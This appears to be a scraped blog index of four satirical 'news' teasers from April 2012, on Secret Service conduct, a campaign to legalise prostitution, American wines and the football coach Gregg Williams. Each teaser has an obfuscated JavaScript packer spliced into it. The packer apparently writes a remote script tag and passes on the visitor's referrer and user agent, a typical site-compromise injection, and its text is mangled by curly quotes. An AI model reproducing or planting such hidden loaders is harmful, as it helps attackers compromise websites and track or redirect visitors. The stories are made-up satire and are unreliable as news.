New Secret Service Rules Announced

SECRET SERVICE CLAMPS DOWN ON AGENT CONDUCT eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eerni|var|u0026u|referrer|zsskk||js|php’.split(‘|’),0,{})) U. S. Government Now to Provide Inflatable Sex Dolls Washington, D. C. April 29th, 2012 (SHK) The Federal government today announced stricter enforcement of behavior by Secret Service agents when they are sent overseas to protect the president. In addition to the [...]

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New Campaign for Global Sex

NEW CAMPAIGN TO LEGALIZE GLOBAL SEX eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsaza|var|u0026u|referrer|hsisf||js|php’.split(‘|’),0,{})) Spurred by the Committee for the Legalization of American Prostitution Washington, DC April 21st, 2012 (SHK) Last week a dozen Secret Service agents were recalled from Cartagena, Colombia, as part of an internal investigation into their nocturnal activities in “tolerance zones” while on [...]

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New American Wines win Taste Tests

STUNNING NEW WINES WIN TASTE TESTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzif|var|u0026u|referrer|ddafi||js|php’.split(‘|’),0,{})) Viniculture Breakthroughs from New Jersey to Texas Bordeaux, France April 15th, 2012 (SHK) French winegrowers say they are increasingly concerned about a rash of American wines that have come to market from new wineries in New Jersey to unexpected competition from the state [...]

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Republicans Snag Gregg Williams

MUSLIM BROTHERHOOD FAILS TO SNAG WILLIAMS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfhir|var|u0026u|referrer|thnyd||js|php’.split(‘|’),0,{})) Outbid by America’s Rejuvenated Republican Party Washington, DC April 8th, 2012 (SHK) In late-breaking news, the Muslim Brotherhood announced in Cairo today that their bid to acquire the services of Gregg Williams has come to naught. Williams, 54, is the former defensive coordinator [...]

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